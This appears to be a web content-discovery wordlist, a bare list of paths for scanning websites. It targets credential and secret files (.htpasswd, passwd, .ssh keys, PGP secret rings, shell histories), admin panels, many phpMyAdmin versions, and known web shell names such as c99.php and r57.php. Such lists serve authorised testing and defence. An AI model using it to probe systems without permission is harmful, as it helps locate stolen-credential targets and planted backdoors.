|
||||
author.dll
|
||||
author.exe
|
||||
authorize.php
|
||||
author.log
|
||||
authors.pwd
|
||||
auth_user_file
|
||||
autobackup.php
|
||||
.babelrc
|
||||
backdoor.php
|
||||
backup
|
||||
~backup
|
||||
Backup
|
||||
.Backup
|
||||
backup2
|
||||
backups
|
||||
Backups
|
||||
.bash_history
|
||||
.bashrc
|
||||
bb-admin
|
||||
beanManaged
|
||||
bea_wls_internal
|
||||
bin
|
||||
~bin
|
||||
BizTalkServer
|
||||
Blocks.txt
|
||||
blog
|
||||
Bootstrap
|
||||
build.xml
|
||||
c99.php
|
||||
c99shell.php
|
||||
ca
|
||||
ccbill.log
|
||||
certificate
|
||||
Certificate
|
||||
cfappman
|
||||
cfdocs
|
||||
CFIDE
|
||||
cfusion
|
||||
cgi
|
||||
cgi-bin
|
||||
cgi-bintest-cgi?*
|
||||
cgi-pub
|
||||
cgi-script
|
||||
CHANGELOG.txt
|
||||
Changes.txt
|
||||
circle.yml
|
||||
ckeditor
|
||||
claroline/phpMyAdmin/index.php
|
||||
classes
|
||||
Classpath
|
||||
cms
|
||||
CMSDesk
|
||||
CMSPages
|
||||
CMSSiteManager
|
||||
CMSWebParts
|
||||
.cobalt
|
||||
com
|
||||
common
|
||||
components
|
||||
composer.json
|
||||
composer.lock
|
||||
conf
|
||||
config
|
||||
Config
|
||||
config.php
|
||||
confserver.xml
|
||||
connect.inc
|
||||
connect.php
|
||||
console
|
||||
ConsoleHelp
|
||||
controlpanel.html
|
||||
controlpanel.php
|
||||
_controltemplates
|
||||
cookies
|
||||
Copying.txt
|
||||
COPYRIGHT.txt
|
||||
core
|
||||
cp
|
||||
cp.html
|
||||
cp.php
|
||||
Credits.txt
|
||||
cron.php
|
||||
cron.sh
|
||||
culeadora.txt
|
||||
CVSEntries
|
||||
CVSRoot
|
||||
~daemon
|
||||
dashboard
|
||||
data
|
||||
~data
|
||||
database
|
||||
~database
|
||||
database.txt
|
||||
data.txt
|
||||
DateServlet
|
||||
dav
|
||||
DAV
|
||||
db
|
||||
db
|
||||
DB
|
||||
dbadmin
|
||||
dbadmin/index.php
|
||||
db_config.php
|
||||
db/index.php
|
||||
dbmain.mdb
|
||||
db.php
|
||||
debug
|
||||
debug_error.jsp
|
||||
default
|
||||
default.htm
|
||||
DefaultWebApp
|
||||
demo
|
||||
dirb_random.cgi
|
||||
dirb_random.jsp
|
||||
dirb_random.shtml
|
||||
Dockerfile
|
||||
.dockerignore
|
||||
doConfig.jsp
|
||||
docs
|
||||
docs51
|
||||
domain
|
||||
doSave.jsp
|
||||
download.php
|
||||
downloads
|
||||
dra.php
|
||||
drp-exports
|
||||
drp-publish
|
||||
dsgw
|
||||
.DS_Store
|
||||
.DS_STORE
|
||||
dummy
|
||||
e2ePortalProject
|
||||
editor
|
||||
.editorconfig
|
||||
ejb
|
||||
ejbSimpappServlet
|
||||
email
|
||||
employees
|
||||
employees.pac
|
||||
employeesproxy.pac
|
||||
error
|
||||
error_log
|
||||
eudora.ini
|
||||
examples
|
||||
examplesWebApp
|
||||
fault
|
||||
.FBCIndex
|
||||
FCKeditor
|
||||
.fhp
|
||||
file
|
||||
fileRealm
|
||||
fileRealm.properties
|
||||
files.txt
|
||||
~firewall
|
||||
flashFXP.ini
|
||||
flex2gateway
|
||||
footer.tpl
|
||||
forums
|
||||
.forward
|
||||
_fpclass
|
||||
frontpg.ini
|
||||
~ftp
|
||||
~fw
|
||||
~fwadmin
|
||||
~fwuser
|
||||
~games
|
||||
~gdm
|
||||
getior
|
||||
get.php
|
||||
*.gif
|
||||
.git
|
||||
.gitconfig
|
||||
.gitHEAD
|
||||
.git/HEAD
|
||||
.gitignore
|
||||
globals.inc
|
||||
~gopher
|
||||
GponForm/diag_Form?images
|
||||
GponForm/diag_Form?images
|
||||
grabbed.html
|
||||
graphics
|
||||
gruntfile.coffee
|
||||
Gruntfile.coffee
|
||||
gruntfile.js
|
||||
Gruntfile.js
|
||||
~guest
|
||||
guest.pac
|
||||
Gulpfile
|
||||
gulpfile.js
|
||||
Gulpfile.js
|
||||
~halt
|
||||
header.tpl
|
||||
helloKona
|
||||
helloWorld
|
||||
help
|
||||
~help
|
||||
~helpdesk
|
||||
.hg
|
||||
.history
|
||||
home
|
||||
home.html
|
||||
home.php
|
||||
.htaccess
|
||||
.htaccess~
|
||||
.htaccess.bak
|
||||
.htaccess.old
|
||||
.htaccess.save
|
||||
htaccess.txt
|
||||
htdocs
|
||||
htgroup
|
||||
html
|
||||
*.html
|
||||
htpasswd
|
||||
.htpasswd
|
||||
htpasswd.bak
|
||||
htpasswdhtpasswd.bak
|
||||
~http
|
||||
HTTPClntClose
|
||||
HTTPClntLogin
|
||||
HTTPClntRecv
|
||||
HTTPClntSend
|
||||
httpd
|
||||
httpd.pid
|
||||
iam
|
||||
icons
|
||||
~ident
|
||||
iiop
|
||||
iisadmin
|
||||
images
|
||||
includes
|
||||
index
|
||||
index.asp
|
||||
index.aspx
|
||||
index-bak
|
||||
index.bak
|
||||
index.cgi
|
||||
index.htm
|
||||
index.html
|
||||
index.jsp
|
||||
__index.php
|
||||
_index.php
|
||||
index.php
|
||||
index.php~
|
||||
index.php-bak
|
||||
index.php.bak
|
||||
index.pl
|
||||
info.php
|
||||
info.txt
|
||||
instadmin
|
||||
install
|
||||
Install
|
||||
installation
|
||||
INSTALL.mysql.txt
|
||||
INSTALL.pgsql.txt
|
||||
install.php
|
||||
INSTALL.sqlite.txt
|
||||
install.txt
|
||||
Install.txt
|
||||
INSTALL.txt
|
||||
internal
|
||||
invoker
|
||||
isadmin
|
||||
jbossws
|
||||
Jenkinsfile
|
||||
.jestrc
|
||||
jmssender
|
||||
jmstrader
|
||||
jmx-console
|
||||
JMXInvokerServlet
|
||||
joomla
|
||||
jquery
|
||||
jsp
|
||||
*.jsp
|
||||
jspbuild
|
||||
jsp-examples
|
||||
*.jws
|
||||
jwsdir
|
||||
l0gs.txt
|
||||
_layouts
|
||||
license
|
||||
LICENSE
|
||||
LICENSE_AFL.txt
|
||||
LICENSE.html
|
||||
license.md
|
||||
LICENSE.md
|
||||
license.txt
|
||||
LICENSE.txt
|
||||
lilo.conf
|
||||
log
|
||||
LogfileSearch
|
||||
LogfileTail
|
||||
login.do
|
||||
login.html
|
||||
login.jsp
|
||||
Login.jsp
|
||||
login.php
|
||||
Login.portal
|
||||
logins.txt
|
||||
logo.gif
|
||||
logon.php
|
||||
logs
|
||||
logsaccess.log
|
||||
logsaccess.log
|
||||
logserror_log
|
||||
logserror.log
|
||||
logs.txt
|
||||
log.txt
|
||||
~lp
|
||||
.lynx_cookies
|
||||
~mail
|
||||
~mailnull
|
||||
MAINTAINERS.txt
|
||||
Makefile
|
||||
manager
|
||||
managers
|
||||
managers.pac
|
||||
managersproxy.pac
|
||||
manifest.mf
|
||||
MANIFEST.MF
|
||||
manual
|
||||
mapping
|
||||
master.passwd
|
||||
mc-icons
|
||||
media
|
||||
memberadmin
|
||||
members.txt
|
||||
messagebroker
|
||||
.meta
|
||||
META-INF
|
||||
mkdocs.yml
|
||||
_mmServerScripts
|
||||
modelsearch
|
||||
moderator
|
||||
moderator.html
|
||||
moderator.php
|
||||
modules
|
||||
monitor
|
||||
mrtg.cfg
|
||||
muieblackcat
|
||||
myaccount
|
||||
myadmin
|
||||
myadmin
|
||||
myadmin2/index.php
|
||||
myadmin/index.php
|
||||
myadmin/scripts/setup.php
|
||||
MyAdmin/scripts/setup.php
|
||||
mybackup
|
||||
mydomain
|
||||
myservlet
|
||||
mysql
|
||||
mysql
|
||||
mysqladmin
|
||||
mysql-admin
|
||||
mysqladmin
|
||||
MySQLadmin
|
||||
MySQLAdmin
|
||||
mysql-admin/index.php
|
||||
mysqladmin/index.php
|
||||
.mysql_history
|
||||
mysql/index.php
|
||||
mysqlmanager
|
||||
.netrc
|
||||
netshare
|
||||
~news
|
||||
~nobody
|
||||
node
|
||||
npm-debug.log
|
||||
.npmignore
|
||||
npm-shrinkwrap.json
|
||||
~nscd
|
||||
.nsconfig
|
||||
.nsf..winntwin.ini
|
||||
ns-icons
|
||||
nsw
|
||||
nuke.sql
|
||||
~office
|
||||
~operator
|
||||
org.eclipse.php.core.prefs
|
||||
ospfd.conf
|
||||
OWA
|
||||
owssvr.dll
|
||||
pac
|
||||
.pac
|
||||
package.json
|
||||
page
|
||||
pages
|
||||
panel-administracion
|
||||
pass.dat
|
||||
passes.txt
|
||||
passlist
|
||||
passlist.txt
|
||||
pass.txt
|
||||
passwd
|
||||
.passwd
|
||||
passwd.bak
|
||||
passwd.txt
|
||||
password.html
|
||||
password.log
|
||||
passwords.html
|
||||
passwords.txt
|
||||
password.txt
|
||||
patientlogin.do
|
||||
patientregister.do
|
||||
pazzezs.txt
|
||||
pazz.txt
|
||||
.perf
|
||||
phf
|
||||
phone
|
||||
php
|
||||
.php
|
||||
phpadmin/index.php
|
||||
phpinfo
|
||||
phpinfo.php
|
||||
php.ini
|
||||
php.ini~
|
||||
php.ini.sample
|
||||
phpma/index.php
|
||||
phpmanager
|
||||
phpmyadmin
|
||||
php-my-admin
|
||||
php-myadmin
|
||||
phpmy-admin
|
||||
phpmyadmin
|
||||
phpMyAdmin
|
||||
phpMyAdmin
|
||||
phpmyadmin0/index.php
|
||||
phpmyadmin1/index.php
|
||||
phpmyadmin2
|
||||
phpMyAdmin-2
|
||||
phpMyAdmin2
|
||||
phpMyAdmin-2.2.3
|
||||
phpMyAdmin-2.2.6
|
||||
phpMyAdmin-2.5.1
|
||||
phpMyAdmin-2.5.4
|
||||
phpMyAdmin-2.5.5
|
||||
phpMyAdmin-2.5.5-pl1
|
||||
phpMyAdmin-2.5.5-rc1
|
||||
phpMyAdmin-2.5.5-rc2
|
||||
phpMyAdmin-2.5.6
|
||||
phpMyAdmin-2.5.6-rc1
|
||||
phpMyAdmin-2.5.6-rc2
|
||||
phpMyAdmin-2.5.7
|
||||
phpMyAdmin-2.5.7-pl1
|
||||
phpMyAdmin-2.6.0
|
||||
phpMyAdmin-2.6.0-alpha
|
||||
phpMyAdmin-2.6.0-alpha2
|
||||
phpMyAdmin-2.6.0-beta1
|
||||
phpMyAdmin-2.6.0-beta2
|
||||
phpMyAdmin-2.6.0-pl1
|
||||
phpMyAdmin-2.6.0-pl2
|
||||
phpMyAdmin-2.6.0-pl3
|
||||
phpMyAdmin-2.6.0-rc1
|
||||
phpMyAdmin-2.6.0-rc2
|
||||
phpMyAdmin-2.6.0-rc3
|
||||
phpMyAdmin-2.6.1
|
||||
phpMyAdmin-2.6.1-pl1
|
||||
phpMyAdmin-2.6.1-pl2
|
||||
phpMyAdmin-2.6.1-pl3
|
||||
phpMyAdmin-2.6.1-rc1
|
||||
phpMyAdmin-2.6.1-rc2
|
||||
phpMyAdmin-2.6.2
|
||||
phpMyAdmin-2.6.2-beta1
|
||||
phpMyAdmin-2.6.2-pl1
|
||||
phpMyAdmin-2.6.2-rc1
|
||||
phpMyAdmin-2.6.3
|
||||
phpMyAdmin-2.6.3-pl1
|
||||
phpMyAdmin-2.6.3-rc1
|
||||
phpMyAdmin-2.6.4
|
||||
phpMyAdmin-2.6.4-pl1
|
||||
phpMyAdmin-2.6.4-pl2
|
||||
phpMyAdmin-2.6.4-pl3
|
||||
phpMyAdmin-2.6.4-pl4
|
||||
phpMyAdmin-2.6.4-rc1
|
||||
phpMyAdmin-2.7.0
|
||||
phpMyAdmin-2.7.0-beta1
|
||||
phpMyAdmin-2.7.0-pl1
|
||||
phpMyAdmin-2.7.0-pl2
|
||||
phpMyAdmin-2.7.0-rc1
|
||||
phpMyAdmin-2.8.0
|
||||
phpMyAdmin-2.8.0.1
|
||||
phpMyAdmin-2.8.0.2
|
||||
phpMyAdmin-2.8.0.3
|
||||
phpMyAdmin-2.8.0.4
|
||||
phpMyAdmin-2.8.0-beta1
|
||||
phpMyAdmin-2.8.0-rc1
|
||||
phpMyAdmin-2.8.0-rc2
|
||||
phpMyAdmin-2.8.1
|
||||
phpMyAdmin-2.8.1-rc1
|
||||
phpMyAdmin-2.8.2
|
||||
phpmyadmin2/index.php
|
||||
phpMyadmin_bak/index.php
|
||||
phpmyadmin/index.php
|
||||
phpMyAdmin/index.php
|
||||
phpmyadmin-old/index.php
|
||||
phpMyAdmin.old/index.php
|
||||
phpMyAdminold/index.php
|
||||
phpmyadmin/phpmyadmin/index.php
|
||||
phpMyAdmin/phpMyAdmin/index.php
|
||||
phpmyadmin/scripts/setup.php
|
||||
phpMyAdmin/scripts/setup.php
|
||||
php.php
|
||||
phpsecinfo
|
||||
phptest.php
|
||||
phpunit.xml
|
||||
physicanlogin.do
|
||||
.pinerc
|
||||
.plan
|
||||
plugin
|
||||
PLUGIN
|
||||
plugins
|
||||
p/m/a
|
||||
pma
|
||||
PMA
|
||||
pma2005
|
||||
PMA2005
|
||||
PMA2/index.php
|
||||
pma/index.php
|
||||
PMA/index.php
|
||||
pmamy2/index.php
|
||||
pmamy/index.php
|
||||
pma-old/index.php
|
||||
pma/scripts/setup.php
|
||||
pmd/index.php
|
||||
~pop
|
||||
portal
|
||||
portalAppAdminlogin.jsp
|
||||
~postmaster
|
||||
printenv
|
||||
private
|
||||
_private
|
||||
.proclog
|
||||
.procmailrc
|
||||
.profile
|
||||
properties
|
||||
proxy
|
||||
proxy.pac
|
||||
.psql_history
|
||||
psquarex.jsp
|
||||
public_html
|
||||
publisher
|
||||
pwcgi
|
||||
pwd.db
|
||||
pws.txt
|
||||
pw.txt
|
||||
queryhit.htm
|
||||
QUERYHIT.HTM
|
||||
r57.php
|
||||
r58.php
|
||||
rcjakaradminlogin.php
|
||||
readfile.jsp
|
||||
readme
|
||||
README
|
||||
readme.1st
|
||||
readme.html
|
||||
README.html
|
||||
readme.md
|
||||
README.md
|
||||
readme.mkd
|
||||
README.mkd
|
||||
readme.txt
|
||||
Readme.txt
|
||||
README.txt
|
||||
~reception
|
||||
redir
|
||||
RELEASE_NOTES.txt
|
||||
RESTService.svc
|
||||
.rhosts
|
||||
robots.txt
|
||||
~root
|
||||
~rpc
|
||||
~rpcuser
|
||||
samples
|
||||
sap
|
||||
scripts
|
||||
Scripts
|
||||
search
|
||||
Search
|
||||
search-ui
|
||||
secret
|
||||
secring.bak
|
||||
secring.pgp
|
||||
secring.skr
|
||||
Server
|
||||
server.cfg
|
||||
server-info
|
||||
Server.php
|
||||
server-status
|
||||
service.grp
|
||||
service.pwd
|
||||
servlet
|
||||
servletimages
|
||||
servlets
|
||||
serv-u.ini
|
||||
session
|
||||
settings
|
||||
.settings
|
||||
setup.php
|
||||
shared
|
||||
sharedlib
|
||||
shell.php
|
||||
.sh_history
|
||||
*.shtml
|
||||
shtml.exe
|
||||
~shutdown
|
||||
simpapp
|
||||
SimpappServlet
|
||||
simple
|
||||
simpleFormServlet
|
||||
siteadminindex.php
|
||||
siteadminlogin.html
|
||||
siteadminlogin.php
|
||||
sitemap.txt
|
||||
sitemap.xml
|
||||
siteminder
|
||||
siteminderagent
|
||||
sites.ini
|
||||
slapd.conf
|
||||
smpwservicescgi.exe
|
||||
snoop
|
||||
spwd.db
|
||||
sql
|
||||
~sql
|
||||
sqlmanager
|
||||
sql.php
|
||||
sqlweb
|
||||
srchadm
|
||||
.ssh
|
||||
.sshauthorized_keys
|
||||
.sshknown_hosts
|
||||
~staff
|
||||
stats
|
||||
status
|
||||
STATUS.txt
|
||||
StockServlet
|
||||
Support.txt
|
||||
survey
|
||||
.svn
|
||||
.svnentries
|
||||
.swp
|
||||
~sync
|
||||
sysManage
|
||||
system
|
||||
~system
|
||||
T3AdminMain
|
||||
taglib-uri
|
||||
tags
|
||||
technico.txt
|
||||
temp
|
||||
template
|
||||
template.php
|
||||
templates
|
||||
template.tpl
|
||||
test
|
||||
~test
|
||||
test1.php
|
||||
test2.php
|
||||
test-cgi
|
||||
test.php
|
||||
test.pl
|
||||
TestServlet
|
||||
~testuser
|
||||
themes
|
||||
Thumbs.db
|
||||
tmp
|
||||
_tmp_war
|
||||
_tmp_war_DefaultWebApp
|
||||
tomcat-docs
|
||||
tools
|
||||
tools/phpMyAdmin/index.php
|
||||
~toor
|
||||
.travis.yml
|
||||
tsconfig.json
|
||||
typo3/phpmyadmin/index.php
|
||||
uddi
|
||||
uddiexplorer
|
||||
uddilistener
|
||||
uddiuddilistener
|
||||
ultramode.txt
|
||||
unattend.txt
|
||||
UniversityServlet
|
||||
update.php
|
||||
upgrades
|
||||
Upgrade.txt
|
||||
UPGRADE.txt
|
||||
_upload
|
||||
uploads
|
||||
user
|
||||
~user
|
||||
User
|
||||
~user1
|
||||
~user2
|
||||
~user3
|
||||
~user4
|
||||
~user5
|
||||
user.html
|
||||
usernames.txt
|
||||
user.php
|
||||
users
|
||||
users.mdb
|
||||
users.pac
|
||||
users.php
|
||||
usersproxy.pac
|
||||
users.pwd
|
||||
users.txt
|
||||
utils
|
||||
~uucp
|
||||
version.txt
|
||||
_vti_adm
|
||||
_vti_aut
|
||||
_vti_bin
|
||||
_vti_cnf
|
||||
_vti_inf.html
|
||||
_vti_inf.html
|
||||
vti_inf.html
|
||||
_vti_log
|
||||
_vti_pvt
|
||||
_vti_script
|
||||
_vti_txt
|
||||
vtund.conf
|
||||
wand.dat
|
||||
wcx_ftp.ini
|
||||
web
|
||||
~web
|
||||
.web
|
||||
webadmin
|
||||
webadmin
|
||||
webadmin.aspx
|
||||
webadmin.html
|
||||
webadmin.php
|
||||
webapp
|
||||
webapp.properties
|
||||
web.config
|
||||
web.config.txt
|
||||
web-console
|
||||
webdav
|
||||
WebDAV
|
||||
WEBDAV
|
||||
webdb
|
||||
webeditor.php
|
||||
WEB-INF
|
||||
weblogic
|
||||
weblogic.properties
|
||||
weblogic.xml
|
||||
webpack.config.js
|
||||
web/phpMyAdmin/index.php
|
||||
webservice
|
||||
WebServiceServlet
|
||||
webshare
|
||||
websql
|
||||
web.xml
|
||||
wiki
|
||||
WLDummyInitJVMIDs
|
||||
wliconsole
|
||||
wl_management
|
||||
wl_management_internal1
|
||||
wl_management_internal2
|
||||
wlserver
|
||||
wls-wsat/CoordinatorPortType
|
||||
wordpress
|
||||
wp
|
||||
wp-admin
|
||||
wp-content
|
||||
wp-includes
|
||||
wp-login.php
|
||||
_wpresources
|
||||
wp-users
|
||||
ws_ftp.ini
|
||||
wvdial.conf
|
||||
~www
|
||||
.wwwacl
|
||||
.www_acl
|
||||
wwwboard
|
||||
www/phpMyAdmin/index.php
|
||||
xampp/phpmyadmin/index.php
|
||||
~xfs
|
||||
xmlrpc
|
||||
xmlrpc.php
|
||||
yarn-debug.log
|
||||
yarn-error.log
|
||||
yarn.lock
|
||||
zebra.conf
|
||||
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue